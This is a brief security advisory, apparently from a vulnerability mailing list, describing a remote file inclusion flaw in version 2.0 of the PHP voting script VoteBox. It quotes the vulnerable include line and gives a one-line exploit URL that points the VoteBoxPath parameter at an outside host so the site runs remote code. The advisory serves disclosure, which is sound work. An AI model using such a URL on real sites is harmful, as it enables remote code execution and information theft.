[UNIX] VoteBox File Inclusion Vulnerability

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  VoteBox File Inclusion Vulnerability
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SUMMARY

 <http://www.phpbeispiele.ch/index.php?Include=20> VoteBox is "a voting 
system coded in PHP". The VoteBox has been found contain a vulnerability 
that allows attacker to include arbitrary script code from a remote 
location. This vulnerability can be used to expose sensitive information 
and/or allow arbitrary code execution.

DETAILS

Vulnerable Systems:
 * VoteBox version 2.0

Vulnerable Code:
The problem is in the file "votebox.php", in the first lines: 
include($VoteBoxPath.'votescontroller.php'); 

Exploit:
The following URL will include the votescontroller.php file from the 
external site located at: http://no.where.land.
http://[vulnerable-site]/votebox.php?VoteBoxPath=http://no.where.land


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> SmOk3.
The original article can be found at:  
<http://www.systemsecure.org/wwwboard/messages/295.html> 
http://www.systemsecure.org/wwwboard/messages/295.html



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